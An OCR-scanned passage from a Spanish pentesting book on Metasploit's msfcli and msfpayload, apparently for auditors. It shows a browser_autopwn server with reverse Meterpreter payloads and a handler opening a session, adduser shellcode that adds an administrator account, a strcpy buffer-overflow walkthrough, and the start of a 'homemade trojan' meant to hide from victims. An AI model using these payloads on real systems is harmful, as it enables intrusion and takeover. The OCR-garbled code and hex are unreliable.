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Hxiste el modo resumen o summary, que es indicado mediante fa letra S, el cual proporciona
informacién sobre un médulo en concreto que se requiera utilizar. La sintaxis es realmente sencills,
un ejemplo se puede visualizar en la imagen anterior,

Bt modo O u upciones muestra informacidn sobre las variables que se pueden configurar sobre un
madulo concreto. En el ejemplo se ha utilizado el médulo exploit/windows/smb/usexec y se obtienen
fas distintas variables que pueden ser configuradas. Este modo es el equivalente a show options en
una sesién de msfeonsole.

rooi@raot: /pentest /axploits/Framework3# msfcli exploit/windows/smb/psexec €
1] Please wait while we load the module tree...

Hane Current Sevting Required DBescription

RHGST yes Tne target address

RPORT 445 yes Set the SMB service port

SHARE ADMING yes The share to connect to, can be an admin share
(ADMINS, C$,...) or a normal read/write folder share

SMBbomain  WORKGROUP no The Windows domsin to use for authentication

SHBPass ne The password for the specified username

SMBUser . no The username to authenticate as

Fig 5.04: Ejecucion msfeli en modo options.

Los modos A e I son especiales, el primero muestra informacion sobre las variables avanzadas que
pueden ser configuradas en un médulo concreto. Bt segundo es un modo muy interesante, ya que
proporciona informacidn sobre opciones para la evasion de IDS en caso de que el médulo con el que
s¢ esté trabajando disponga de esta opcidn,

EF modo P proporciona informacion sobre los payloads disponibles para un médulo de exploii
0 auxiliary en concreto. Bsta opcidn es realmente Gtil y proporciona informacién muy vakida y
recomendada de visualizar antes de lanzar el modulo. Este modo es equivalente a la instruccidn
show payloads cuando se encuentra un médulo concreto cargado en una sesién de misfeonsole.

root@ireot: /pentest/axplodts/framevork3¥ msfcli exploit/windows smb/psexec P
i*] Please wait while we load the module tree...

Kompatible payloads

pescription

generic/debug_trap
generic/shell_bind tep
hell
generic/shell_reverse_tcp
shell
generic/tight_loop
windows/adduser
istration group
windows/dUlinject/bind_ipvé_tcp
L1 via a reflective loader
windows/dllinject/bind_nonx_tcp
via a reflective loader
windows/dilinject/bind_tcp
keflective loader

Generate a debug trap in the target process
Listen for a connection and spawn a command s

Connect back to attecker and spawn a command

Generate a tight loop in the target process
Create a new user and add them to local admin

L.isten for a connection over IPvG, Inject a D
Listen for a connection (No NX), Ynject a D11

Listen for a connection, Inject a DIl via a r

Fig 5.05: Ejecucion msfeli en modo pavieads.
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El modo fargets o T proporciona informacién sobre los sistemas operativos vulnerables antes dg
ejecutar un exploit concreto. En la imagen se pueden visualizar un gran niimero de fargels para g
exploit ms(8_(67_netapi, el cual ha sido estudiado en el presente libro, Realmente el nimeto de
targets para los que esta disponible este exploif son 62 versiones distintas de Windows, con distintog
idiomas, en versiones XP, 2003, 2000, etcétera. Este modo es equivalente a la instruceion shoy,
targels cuando se encuentra un médulo cargado en msfronsole. ‘

root@reat: /pentest/exploits/Franeworkd¥ msfcli explolt/windows/smb/mse8_b67 nefapi T
[*] Mease wait while we load the module tree... '

id Nase

A4 Automatic Targeting

1 Windows 2006 tniversal

2 Windows XP $P8/SP) Universal

5 Windows XP SP2 English (NX)

4 Windows XP 5P3 English (NX)

$ Windows 2863 SP8 Universal

& Windows 2003 SP1 English (MO NX)

1 windows 2803 SP1 English [NX)

6 Windows 2083 SP1 Japanese {NO MX}

9 windows 2803 SP2 English (NO KX)

16 Wirdows 2603 $P2 English (NX)

11 windows 2083 SP2 German {NO NX)

12 Windows 2003 SP2 German (NX)

13 Vvindows XP SP2 Arabic (NX)

14 windows XP SP2 Chinese - Traditional / Taiwan (NX)
15 Windows XP 5P2 Chinese - Simplified {NX)
16 Windows XP §P2 Chinese - Yraditional (NX}
17 ¥indows XP SP2 Lzech {HX)

18 windows XP SP2 Denish (#HX)

19 Windows XP SP2 German {NX}

20 Windows XP $P2 Greek {WX)

21 Windows XP P2 Spanish (NX)

22 Wingows XP SP2 Finnish {NX)

Fig 5.06: Ejecucion msfeli en modo targets.

El' modo AC o actions proporciona informacion sobre acciones que pueden realizar los modulos de
tipo auxiliary. Por otro lado se encuentra el modo C o check que equivale a la instruccién check ey
una sesion de msfeonsole. En 1a imagen se puede visualizar como configurando la variable RHOST,
indicando el modo C y especificando el exploit se comprueba si el objetivo es vulnerable o no.

root@roat:~# msfcll exploit/windows7smb/ms08_067 _netapl RHOST=192, 166.1.38 €
[*7 Please wait while we load the module tree,..

I*} Verifying vulnerable status... (path: 8x0968605a)

[+] The target is vulnerable.

root@rost:-# f

Fig 5.07: Ejecucion msfeli en modo check.

El'modo E o ejecucién, es quizd el modo més conocido por los auditores. Con dicho modo se langg
el modulo, ya sea auxiliary o exploit. Es necesario, indicar las variables requeridas en el momeng,
de lanzar este modo en la aplicacién msfeli.

Beneficios del uso de msfcli
Los beneficios de la utilizacion de este tipo de interfaz son varios. Uno de los mayores ugos y
heneficios que proporciona msfcli es la posibilidad de implementar servidores de conexiones 0
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sesiones. De este modo el auditor puede lanzar la etapa de explotacién y recibir las conexiones en
cualquier otra mAquina configurada para elio mediante el uso de msfcli. Ademas, se pueden resumir
los beneficios de la utilizacion de msfeli con las sentehcias que se muestran a continuacién:

- Soporte para el lanzamiento y aprovechamiento de los mddulos de tipo exploit y auxifiary.
Este tipo de mddulos son los més funcionales que proporciona el firamewort, ademas de los
més utilizados en el proceso de un test de intrusion.

- Uso para lareas especificas en el test de intrusion. Generalmente, se utiliza ms/fcli para
lanzar un exploif concreto o implementar un servidor de sesiones remotas sobre las miquinas
vulneradas. Bxiste un debate sobre si esto tltimo es un beneficiv o no, ya que se puede
entender como una razon restrictiva.

- Dsla herramienta es Otil para el aprendizaje y la comprension de la arquitectura del
SJramework.

- Es conveniente usarla cuando se desarrolla algln nuevoe exploit y se pretende utilizar
en un test de inlrusion. De este modo se mantiene un control sobre la operativa que se estd
llevando a cabo en el proceso de la auditoria.

- Fs una buena herramienta para realizar pruebas por el audilor. Lste tipo de pruebas son
denominadas off-exploitation. Estas pruebas serian las equivalentes a montar un entorno de
nreproduccion. '

- La aplicacién es bastanle til si ¢l auditor conoce realmente qué exploit quiere utilizar o
qué tipo de técnica se utiliza en la fase de explotacion. '

Teoria de conexiones

Cuando un exploit es lanzado contra una maquina objetivo se busca obtener una sesidn que
proporcione el control del equipo remolo. Estas sesiones pueden ser dircctas o inversas, las cuaies
trabajan de manera similar a como lo hacen los troyanos en sus conexiones.

Ei uso de sesiones inversas puede ayudar al auditor o alacante a evitar los firewalls implicitos
que llevan los router. Hay que recordar que todos los exploits que utilizan el método de conexion
inversa utilizan implicitamente el méduto Hamado exploit/multithandler, ¢l cual recibird fa sesion
inversa sobre la maquina remota. Este médulo proporciona una gran cantidad de oportunidades a los
auditores o atacanles, los cuales se presentan en este apartado. :

En gran parte de la documentacidn que se puede leer sobre Metasploit se presenta la maquina
que lanza los exploits o el servidor que utiliza la téenica Client-Side Attack como la miquina que
gestionard y aprovechari las sesiones obtenidas sobre los equipos vulnerados. Este hecho no ticne
porqué ser asi, ya que se puede utilizar un servidor o maquina para proi/ocar la obtencién de sesiones
en la fase de explotacion y que dichas sesiones se gestionen sobre otras naquinas.

. Como se realiza dicha accidn? El concepto es realmente sencillo, cuande se configura un exploit
se puede elegir el payload que se ejecutard en la mdquina remota, en caso de que la explotacion
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tenga éxito. El payload de tipo inverso debe ser configurado con una direccion IP eq [a cual, una vez
. N e . ’ . z ? -
gjecutado en la maquina victima, se conectara para otorgar el control de dicha méaquina

En la tmagen se puede observar como el atacante real se encuenira en una red privada, como puede
ser la de cualquier empresa o casa. Por otro lado, se visualiza una maquina victima que simula
encontrarse en la red de una empresa. El atacante dispone de un servidor, por ejemplo web,‘ que
utilizando ta téenica Client-Side Attack espera a recibir peliciones de victimas potenciales. En
el momenlo cn que la viclima es vulnerada, el payload que se ejecuta en ella dard el control de
la maquing al equipo del atacante y no al servidor web. De este modo se consigue quc ¢f rastro
de fa explotacion quede distribuido, ya que una méaquina se encarga de la tarea, posiblemente
automatizada, de exploacion, mientras que la gestion de la sesion remota, quc cs realmente lo que
interesa, se realiza desde otra red totaimente distinia,

Alscante

Victima

Fig 5.08: Esquema basico de la fase de explotacion.

Esta exploiacion y gestion distribuida puede ir un paso més alla, ya que se podria configurar en
¢l servidor, el cual estd disponible en Internet, distintos exploiis con distintos payloads los cuales
podrian apuntar a distintas direcciones IP. De nuevo, el rastro se distribuye entre distintas maquinas,
y aunque lampoco seria demasiado complejo realizar un rastreo @ priori, se podrian ocultar las
conexiones a través de méquinas vulneradas que hicieran de puente. Estas conexiones se pueden
distribuir e inlentar ocultar de diversas maneras, en este aspecto entra en juego la imaginacion del
atacaille o auditor.
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PoC: Servidor de exploits y miquina privada para las sesiones

Iin la siguiente prueba de concepto se preparard un servidor con el modulo awxiliary para realizar
un autopwn browser. Cuando las victimas se conecten al servidor web se lanzaran exploits conlra ia
méquina que origina Ia conexién, Como méaquina victima en la prueba de concepto se ha utitizado
un equipo con sistema operativo Windows XP SP3 con los navegadores Mozilla Firefox e Internet
Explorer. '

Iin el servidor se configurard un payload de tipo Meterpreler con conexién inversa y ademés se
indicara la direccién IP dénde se encuentra la maquina que gestionard o recibird las sesiones de
Meterprefer. La maguina que recibiré las sesiones inversas ser configurada con la aplicacion msfcli
y el madulo exploit/multi/handler, cuya configuracion se estudiard mas adelante,

Iin fa imagen se puede visualizar Ja configuracién del modulo auxiliary/server/browser_autopwn y
ia asignacion de los valores a las variables que dispone el médulo. Hay que destacar que el servidor
web se configura con URTPATH en la rafz, es decir con “/”. La variable PAYLOAD_WIN32 indica
qué payload se utilizard para sistemas operativos Windows, en este caso sélo se puede asignar
el payload windows/meterprelerireverse_tcp. Bl puerto dénde el servidor web se mantendrd a la
escucha de peticiones serd el 80, configurado manualmente, ya que por defecto seria el 8080. La
variable LHOST indica en qué direccién IP o nombre de dominio se configurard la maquina que
gestionard o recibird fas sesiones inversas.

st > use suxiliary/server/browser_autopwn
nsf suxiliary(browser_autopun) > show options

dodule options (auxiliary/server/browscr_autopwn):
Name Cyrrent Setting Required Description
LHOST yes The IP address to use for reverse-vonnect payloads
SRVHOST 0.8.8.9 yes The local host to listen on. This must be an address on
the local machine cr .0.0.0
SRVPORT 8086 yas The local port to lisien om.
S5L false nn Megotiate SSL for incoming connections
SSLVersion SSL3 . no specify the version of 55L that showld be used (mccepte
d: SSL2, SSL3, TiS1) . .
URIPATH no The URT 1o use for this exploit {defauli is random)
msf auxiliary(browser_autopun) > set LHOST 192,168.1.39
HOST =» 192.168.1.39 '
sl suxiliary({browser_autopun) > set PAYLOAD WIN32 windows/meterpreter/reverse_tcp

msf auxiliary{hrowser_asutopwn) > set SRVPORT 88
RYPORT => 80
Fs_[ auxiliary(hbrowser_autopwn) > set URIPATH /

gAYLOAi)_WINaz => windows/meterpreter/reverse tcp

RIPATH => / )
nsf auxiliary(browser_autepwn) > runff

TFig 5.09: Configuracion del servidor con el médulo browser autopien.

Una vez configurado el servidor web a través del modulo browser autopwn se debe configurar en
la otra maquina que gestiona el atacante o el auditor el modulo exploit/multi/handler. Mediante la
aplicacién msfcli se configurard dicho médulo para comprobar la utilidad de dicha herramienta.
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La configuracion es reatmente sencilla, se debe indicar el tipo de payioad el coal se pﬁede inyectar,

en cste caso Mererpreier, también se debe indicar la direccion IP local de la maquina y ¢l puert(!
_donde se escuchara,

Hay que destacar la posibilidad de que la maquina se encuentre defrds de un router, lo cual implicari"

<

que se deberia abrir un puerto en el router para redirigir el trifico y que éste pueda llegar desde
Internet hasta la maquina del atacante,

root@root:~# msfcli exploit/multishandler LHOST=162, 168 1 =i
e Lot & 1,38 PAYLOAD=windows/meterpreter/reverse

[*] Please wait while we load the module tree. ..

=f metasploit v3.7.8:release {core:3.7 api:1.8]
+ -- --=] 684 exploits - 355 auxiliary
+ -- --=[ 217 payloads - 27 encoders - 8 nops

LHGST => 192,164.1.39

PAYLOAD => windows/meterpreter/reverse tcp
LPORT => 4444 -

[*] Started reverse handler on 192,168.1.39:4444
[*} Starting the payload handler...

Fig 5.10: Configuracion de msfeli para recibir gestionar o recibir sesiones inversas.

Uua. vez montada toda la infraesiructura por parte del atacante o auditor se debe esperar a que las
vn(:lilmas se conecten al servidor web malicioso. Como ya se ha mencionado en este libro se pueder
utilizar diversas técnicas para provocar que las victimas visiten dicho servidor,

Una vez que la victima se conecte al servidor web malicioso se lanzardn fos exploits sobre ella, y
7 z st L M ’

en caso de que ésta sea vulnerable se lanzaré una peticion a la méquina que estd configurada con el

manejador o exploit/multithandler, el cual al recibir la peticion inyectard el payload en la maquina

de fa victima respondiendo a dicha peticion,

{*} Started reverse handter on 102.168.1.39:4444
{*] Starting the payload handler.,,

h*] Sending stage (749056 bytes) to 192.168.1.38

i) Meterpreter sessio e : -> 18 :
ot P n 1 opened (192.168.1,39:4444 .> 192.168.1.38:1038) at 2012-08-13 20:58:44

ete preter >
meterpreter > pwd
C: \WINDOWS\system32
neterpreter > §

Fig 5.11: Obtencion de una sesién inversa con msfeli.
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3. Msfpayload: payload a gusto del consumidor

Msfpayload es una de las herramientas més utilizadas del _ﬁ'a/hewor/r de Metusploit. Con esla
herramienta de linea de comandos se puede generar codigo ejecutable personalizado, en distintos
lenguajes como puede ser C, Perl o Ruby. Este eédigo permite realizar acciones concretas, més
tipicas de payloads de tipo fnline, o montar todo un servidor de opciones en una maquina vulnerada
a través de un exploit, mas tipico de payloads de tipo staged.

La funcionalidad anterior proporciona a los exploiters la posibilidad de disponer de gran cantidad de
payloads en distintos lenguajes para fa creacion de sus exploits. En este apartado se podra estudiar y
comprobar cémo funciona esta herramienta y los distintos lenguajes de programacion que soporta.
Otra de las [uncionalidades interesantes que proporeiona msfpayload es 1a de crear ejecutables que
dispongan en su interior un payload concreto. De este modo es posible crear ejecutables maliciosos,
que puedan proporcionar al atacante el control remoto de la maquina donde se ejecute el archivo.
Esta (écnica, que es la mds inluitiva y generalizada, se puede llevar a cabo tanto en sistemas
operativos Windows, como Unix. En este apartado, se realizardn dislintas pruebas de concepto donde
se estudiard la viabilidad de la creacion de ejecutables y paquetes DEB, Debian,

La sintaxis de la herramienta es realmente intuitiva y sencilla, como se puede observar en la siguicnte
linea msfpayload [VARIABLES, LHOST, LPORT, PAYLOAD] <modo>. Los modos proporcionan &
la herramienta gran flexibilidad y loda la potencia que presenta al auditor o atacante.

Por dltimo, hay que tener en cuenta que estos archives pueden ser ficitmente detectados por las
bases de datos de firmas de los antivirus. Este es un debate muy aclual, que exisle en el dia a dia del
peniesting. Existen técnicas para intentar evadir el mayor nimero de sistemas de proteccion, como
puede ser un antivirus, y se estudiard mas adelante en el presente libro.

Modos de msfpayload

Los modos de gjecucion que dispone msfpayload permiten realizar distintas acciones relacionadas
con los payload. En la imagen se pueden visualizar los distinlos modos que msfpayload proporciona
al auditor. Bs posible distinguir entre dos modos de ejecucion jerarquicos, el primero para la
obtencién del payload en un lenguaje de programacion y el segundo para la creacion de binarios
en distintos sistemas operativos. Cada uno de estos modos tiene distintas variaciones internas, las
cuales se pueden ir observando en este apartado,

root@root:~# msfpayload

Usage: /opt/framework3/mst3/msfpayload [<options>] <payload> [var=val] <[Sjummary|C|[PlerljR
ub{yl| (Rlaw] [3]s|e[X]e] [D)11}{V]BA}[W]ar>

Fig 5.12: Modos de gjecucion de m.s]j)ay/o.ad.

El modo S o summary proporciona informacion sobre el payload que se quiere utilizar. Se debe
indicar la ruta del payload y especificar el modo de ejecucién al final de la instruceidn. Este modo
ayuda al auditor a conocer las variables de configuracion del papload que deben ser configuradas,
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tanto para la obtencion de codigo en un lenguaje de programacion concreto, como para fa generacin
de binarios. Ademas, con este modo se proporciona una descripcion y el tipo de payload qae es, por
gjemplo con Adeterpreter se indica que es de tlipo siaged.

root@root: ~#-_ msfpayload windows/meterpreter/ reverse tep |

Mame: mrduw.u reterpreter (Reflective Injection), Reverse TCP Stager
Hodule: payload/wn(lowq/meterpreter/rev ir3e tep

Version: 18394, 8998, 8984
Platform: tlinduws E5Y
1 x86 '

in: o
Total size: 298

Rank: Wormal

Provided by:
skape <amitler@hick.arg>
st <stephen fewer@harmonysecurity. com>
hdm <hdm@netasploit. coms

Basic options:

Hame Currept Setling Required Description
EXITFUNC  process yes Exit technique: seh, thread, process, nona
LHOST yes The listen address A
LPORT 4444 yes The listen port
Description:

Connect hack to the attacker, In]ect the meterpreter server DLL via

the Reflective DI Injectd taged)

Fig 5. [3: Ejecucién Summary de msfpayload.

El modo C v oblencidn de cddigo en el lenguaje de programacion C, proporciona al auditor o
exploiter una variable definida en este lenguaje, con el valor del payload que debe ser ejecutado en
la maguina vulnerada.

root@root:~# msfpayload windows/adduser USER=164 PASS=pabloglez ¢
I'

* windows/adduser - 272 bytes

¢ hitp://wed.metasploit.com :

* EXITFUNC=process, USER=i84, PASS=pabloglez

*
unsigned char buf{}] =
“\xFoixeB\x89\ 186\ x06\ X80\ x66\xB8\xe5\Xx3 1\ xd2\x64\ x8b\X52\x38"
"\xBYX52\ X0\ xBbAX52\x14\xBb\XT2\x28\ X6 F\xb7\x4a\x26 A x31\xF "
“\X31NXCBAXACAXICAXBINX7CAXO2\X2C\ X2\ XC 1\ XC FAXOA\XBI\XCT \ ke 2"
M\ FO\X52\X57\XBb\x52\ X 18\ xBb\x42\x 3¢\ X0 1\ xdB\ xBh\ x40\ X 78\Xx85"
"AXCB\X74\x48\XB1\XdB\ x50\ xBh\ 48\ X 18\x8b\ 58\ x28\x81\xd3\xe3"
“\x3c\x49\x8b\ X34\ xBb\x1\xd6AX I\ xFFAx31\xcO\xac\xc1\xc FAxod”
“\KBI\XCT\XIB\XxeB\ X7\ xFA\XB3\X7d\x TBA\X3b\X7d\x24\X 75\ xe2\X58"
“\x8hAX581x24\x0 1\ xd3\x66\xBbAXBC\x4b\X8H\X58\ X1\ X0 1\ x Y3\ %8D"
“\X04\XBE\XB1\XdB\XBI\x44\ X 24\ X2\ XA XSD\XEI\ X5\ XFa\XS 1\ x "
"\ xe0\x58\x5F\x5a\x8b\x12\xeb\x86\x5d\x6a\x81\x8d\x85\xbI\x80"
"\XBO\XBB\x58\x68\ kI 1\xBb\XEF\XB7\X FF\xd5\xbbAxFB\xb5\xa2\x56"
"\ %68, xab\x95\xbd\x9d\x f F\xdF\x3C\xBE\X7C\ x0a\ X8O X f\ xe&\x75"
"\x@85\xbb\x47\x13\x72\x6f\x68\x88\x53\xFF\xd5\x63\x6d\x64\x2e"
“\XE5\XTBAX65\x20\x2F\XE3\x 28\ X6\ X653\ X T\ X20\XT5\KT3\xB65 72"
“\x20\x69\x36\x34\x20\x 78\ XBI\XE2\KGCAX6 T ARG T\ X6C\X65\xTa\x20"
*\X2f\X41\X44\x44\X 23\ X261 126\ X280\ X6\ XB5\XTA\ K26\ X6C\XE T\ X635
"\ XBI\X6CAX67\XT2\x6F\X7H\ K7D\ K20\ x41 \X64\X6U\XEF\x6e\X6I\K73"
"\XTARTNREI\XTA\XEFAXT 2\ XTI\ K26\ K65\ K36\ X34\ 20\ x2f\ x4 1\x44"

' Fig 5.14; Oblencion variable en C del payload windows/adduscr:
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Cyiando se esld desarrollando un exploit, estas opciones de msfpayload son realmente uliles y
ndsesarias para facilitar el proceso de obtencién de control de la maquina vulnerada. En el ejemplo
anfferior se utiliza el payload windows/adduser el cual creard un usuario en el sistema donde se
ejdcute con una confrasefia definida.

Pailu la obtencion de este codigo en otros lenguajes de programacidn se dispone de los modos “y”
y P, que se corresponden con la generacién de codigo en lenguaje Ruby y Perl respectivamente.
Pl amente se debe especificar el pavioad, las variables de configuracion de dicho médulo y fa

e identifica el modo de ejecucion. Si se requiere obtener codigo en Ruby se utiliza ia letra
5 - 1aly como se puede visualizar en la imagen.

root@iroot:-# msfpayload windows/adduser y

#. windows/adduser - 287 bytes

# Bttp://www.metasploit. com

" Pt EXITFUNC=process, USER=metasploit, PASS=metasploit

baf =
"\xfc\xe8\x89\x89\206\x99\x58\x89\xe5\x31\xd2\x54\x8b\x52“
“\XSB\bi\XSZ\xac\x8b\x52\x14\xab\x72\x28\x9f\xb7\x4a\x26"
“\x:1\xff\x31\xc9\xac\x3c\x61\x7c\x82\x2c\x29\xcl\xcf\xed'
“\KOI\xc?\xe?\xfe\x52\x57\x8b\x52\x19\xab\x42\ch\xel\xd@'
“\xab\X49\x78\x85\xc0\x74\x4a\x0l\de\x59\bi\x4B\xlﬂ\th“
"\x50\x2@\x61\xd3\xe3\x3c\x49\x8h\x34\x8b\x91\xd6\x31\xff"
“\x3l\xc0\xac\xc1\xcf\xed\xel\xc7\x38\xee\x75\xf4\x93\x7d"
“\xf8\x3b\x7d\x24\X75\er\xSE\bi\x58\x24\x61\xd3\x66\x8h“
"\xec\xdb\bi\xSB\x1c\x81\xd3\x3b\xa4\x8b\xel\xde\x59kx44"
"\x24\x24\x5b\x5h\x61\x59\x5a\x51\xff\xe9\x58\x5f\x5a\x8n"
"\xl2\xeb\x86\x5d\xﬁa\xel\xﬂd\xﬂﬁ\be\xGe\xee\xﬂe\xs0\x58“
"\x31\x8b\xﬁf\xe7\xff\xd5\xbb\xfG\be\va\xSﬁ\x&kaaE\x95'
"\xbd\xgd\xff\xdsxx3c\xﬂﬁ\x?c\xea\xae\xfb\xee\x75\x65\xhb"
"\x47\x13\x72\x6f\xﬂa\xee\x53\xff\xd5\x63\xﬁd\x64\x2e\x65"
"\x78\x65\x29\x2f\x63\x23\xﬁe\x65\x74\xze\x75\x73\x65\x72"
“\x20\x5d\x65\x74\xﬁ1\x73\x79\xﬁc\xﬁf\xag\x74XXze\xﬁd\xﬁs“
“\z74\x61\x73\x78\x6c\x6f\x69\x74\x2@\x2f\x41\x44\x44\x28'
“\x26\x2ﬁ\x29\x6e\x65\x74\x26\x5c\x6f\x63\xﬁl\xﬁc\x67\x72'
“\XGf\x75\x79\X20\x41\x64\x6d\x69\x6&\x69\x73\x74\x72\x6i"
"\x74\xsf\x72\x73\x20\xﬁd\x65\x74\x51\x73\x76\x6c\xﬁf\x69"

S Al S R S T G IY

Fiig 5.15: Obiencion variable en Ruby de! pavioad windowsiudduser

i2Imado R o raw permite obtener cadigo en lenguaje maquina. Como curiosidad indicar que en ¢l
gjemplo se pueden obscrvar los strings y Jas 6rdenes que se estén asignandc en ¢l codigo maguina,
Se puede visualizar facilmente Ja accidn que realiza el payload, donde se abre un emd y se ¢jecutan
las ordenes de affadir un usuario con yna contrasefia y ademds se agrega el usuario al grupo de
administradores de la maquina.

root@root:~# msfpaylead windows/adduser R
B9%" Bo1806RaER
[iHsbubEye; TSubXOXSERIOPEHTEX EUO<IB4DTH101606

KGX(SEEUREDS$ 1 (aYZQ08X_Z0[TH0) 1 806Ph160085006VhOB006<TY
#Ghulchoj560cmd . exe /¢ net user metasploit metasploit /ADD && met Localgroup Administrators met
asploil /ADDroot@root:-# §

Fig 5.16: Obtencién de codigo méquina.

El'modo X o ejecucion permite obtener codigo ejecutable en formato EXE para sistemas operativos
Windows. Existen otras opciones o modos que proporcionan funcionalidades para crear D1Ls,
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codigo VBA o Javascript. Mas adelante, se estudian los resultados, mds que interesantes, del modo1
ciecucion o X, :

PoC: Obtencion de payload para implementacion en exploit

“En esta prueba de concepto se presenta el desarrollo de un pequefio programa en ¢l lenguaje de

programacion C, el cual serd vulnerable a buffer overflow, la cual como se ha mencionado en esle,
libro es una de las vulnerabilidades mds comunes en el desarrollo de aplicaciones.

‘

Fin esta prueba de conceplo no se pretende ensefiar el complejo mundo del reversing, pero si explicar

~cémo funciona un buffer overflow y como con Metasploit se puede oblener el codigo de un payloac

para afiadir al codigo del programa vulnerable. A continuacién se presenta aplicacion, escrita e
lenguaje C, vulnerahle.

firclude <stdio.h>

int main (int argc, char **argv)

{ .
char buf[10};

.printf (“*holamundo”) ;

strepy{buf,argv{l]);
raturn 0;

)

Realmente, ;qué se busca? Se quiere controlar y modificar los registros del procesador, sebretodo el
registro BIP o contador de programa, el registro ESP el cual apunta a la cima de la pilay el registro

‘RETN que indica la direccién de retorno de una funcién. Ei registro EIP indica qué instruceidn
.S¢ ejecutard a continuacién y puede proporcionar a un atacante larposibilidad de ejecutar las

instrucciones que ¢l quicra y en la zona de memoria que ¢l necesite, Es evidente, que la zona de
memoria que se requiera albergari el shellcode que se quiera ejecutar para realizar alguna accion
concreta sobre la maquina victima o tomar el contro! total de dicho equipa.

&Fl prograina es vulnerable? La respuesta es si, este codigo no limita el acceso a la memoria y se
puede sobrescribir fitera de los limiles que el sistema operativo ha designado para ta ejecucion de la
aplicecion. Si ¢l usuario manipula la cnirada y sobrepasa los limites, se podra acceder a otras zonas
de memoria y controlar los registros que interesan. En el caso de la aplicacion, la funcidn vilnerable
¢s strepy ya que en ningln instante se comprueba que la variable argv[1] pueda ser copiada en un

espacio de memoria reservado de 10 byies, representados por la variable buf.

1 primer paso es ejecutar el programa y comprobar que si se introduce en argv[1] un valor inferjor
o igual a 10 caracteres la aplicacion funciona correctamente, pero si se introduce un valor superior a
1) caracteres, cuando fa funcion strepy intente realizar la copia en la variable buf, la cual dispone de
una zona de memoria reservada de 10 byfes, se producira un error, Lo que estd ocurtiendo es que se
esti sobrescribiendo una zona de memoria no reservada para la variable buf.

A continuacién se presenta gréficamente lo explicado anteriormente. Anies de que la aplicacién
realice la llamada a la funcion strepy se prepara Ia pila, la cual recoge la direccion de retorno de [
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fincion, las variables internas del compilador y las variables locales de ia funcién. En esta prueba de
conceplo las variables locales de la fincion son un puntero del buffer de 10 caracteres, un puntero a
ta variable agrv{1] y el contenido local del buffer.

BUNTEroaIBUTar-aireceion: .
ReCLE Mholal2ad” Puntero a argv[l] zona
i + | RETURN £ron prusha. Be401284 o prugha, BE4A1EE

1 o 7 OR22EE B
DRezFFod|| DO3G0F04

QO22EFARH BO22FF 28 (
00& “F F@C Dl zae

O022FF {5

FCAT RETURH £ron ..u-~.~+ CcF"‘F:" m et t, TEAFOERY

gBozFEen ontenido dé 16t 10 caract

g?i}%ggg‘ RETURN fiom (-mlem.?héFdBPO tu mueba.%‘mm%
BS Y )

£9diziand Espaciv local pila...

FFAS| .
smzpenna, Jireccion retorno de la funcidn

2 194
3| ra0oasnn2

Fig 5.17: Estado de la pila en el instante previo de la ejecucion de in Hamada a strepy.

3ien la gjecucion del programa se le ha pasado como primer argumento, en argv/l], un valor
superior a 10 caracleres, como por ejemplo “holal234aaaaaaananaaaas”, se producird seguramente
la caida de la aplicacién. ;Por qué? Es sencillo, en este ejemplo hay un espacio en la pila para
albergar 10 caracteres y la funcibn strepy intenta alojar més, se esta sobrescribiendo memoria, por
debajo de los limites.

Entonces, muy probablemente se esté sobrescribiendo el valor de la (iltima instruccion que se ejecuta
en la pila, la cual es la direccion de retorno de Ja funcién o RETN. Ea la siguiente imagen se puede
visualizar de manera muy intuitiva,

1234239525338303a00aA5534 288208358001
Contenido del buffer =holal234aaaa...

00221 18Rt ASCLIEhO T
GUZZEF [4] 7606F 9ES4 | axoy| RETLOH -

QBZZFFIR] #lECEFE8I hals
BOZEFEICT 343332311 1234
BU22FF2Bl Ale16161] saaa
20z2FF24| 61616161] azaa

DB”FI'aB 616 aaaa . . R
boe2Przc) ole asas'4= Direccién retorno apunta a 61616161 = aaaa
OORZFFSD 3

A
‘ 3 6
QDZ2FF34) &
BOZAFFAR] &
SO2EFFECI 61616161  anaa
BO2EFF40] PRFO2G06], 0% 0

Fig 5.18: Estado de fa pila en el instante previo a {inalizar la ejecucion de la funcion strepy.

Hasta ahora se ha aprendido como causar una caida de una aplicacion haciendo que la direccion de
reforno a una zona no controlada o no autorizada. ;Y si se quiere ejecutar codigo arbitrario?, ;Donde
debe introducirse el shellcode? El shellcode debe introducirse en la pila justo debajo de la direccion
de retorno. ¢ Por qué debajo? Cuando se ejecute la direccion de retorno se desapilard y en la cima de
fa pila quedard la primera instruccion del shellcode.

Ahora hay que conseguir que se ejecute {a primera instruccion del shellcode. Para ello la direccion
de retorno de la pila debe ser una direccion que contenga una instruccion de salto incondicional a la
piia, IMP ESP.
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FE L =
ol
7EI442; 17 FOP S Hodif ication of segnent register
751442261 7S BF JHE qHA’)RT 78141237
TELMZE8]  847A FD TEST BYTE PTR US:{EDX-31,8H
7 228 FF D[: FF Unknoun command
K Qég {;FEB,3 F BX Tllegal use of register
re141508
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Fig 5.19: Localizacion de una instruccion de salto incondicional a fa pita.

Una vez localizada la direccién que contiene este tipo de instruccion ya se dispone de lo necesario
para volver a la pila cuando el usuario requiera. Justo debajo de la direccion de reforno se debe
sobrescribir el shellcode. Como ejemplo se presenta la siguiente entrada a la aplicacién anterior,
“holal 234avaaa<direccion jmp+esp><shellcode>". La primera parte de la entrada es “basura”
para llegar a la direccion de retorno de la pila, que es parte imprescindible de la entrada. La tercera
parte de la entrada son las instrucciones en hexadecimal del shellcode.

En la generacion del shellcode entra en juego Metasploit y 1a herramienta msfpayload. Hay que tener
en cuenta que hay que eliminar los bytes \x00 ya que produciran un final de c.ldena y hard que el
exploit no se ejecute completamente.

Tras generar el shellcode se puede declarar una variable en el interior del codigo en C ddnde se
anexen la parte denominada anteriormente “basura”, la direccion de retorno en hexadecimal la
cual apunte a una instruccion JMP ESP y por Gltimo el codigo en hexadecimal proporcionado por
misfpayloud. Esta variable serd la que se pase a la fuacion strepy, en vez de utilizar arvef 1] como en
el caso original.

PoC: Creacion de un troyano casero
En esta prueba de conceplo se creard mediante la herramienta msfpayload un fichero ejecutable
para sistemas Wincdows. Este ejecutable dispondrd en su interior de un papload, el cual serd clepido
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por el atacante o auditor con el propésito de realizar una funcionalidad concreta o un conjunto de
funcionalidades.

Para la creacién del fichero binario se elegird el payload conocido como Meterpreter. La conexién
que llevard a cabo ef papload sera inversa, reverse_fcp. Hay que tener en cuenta las variables que se
deben configurar en el instante de crear un ejecutable.

.
Es recomendable mezclar este ejecutable con otro tipo de archivos, ya que en el momento en el
que a victima ejecute el binario aparentemente no ocurrira ninguna accidn. Tanto esta Gltima
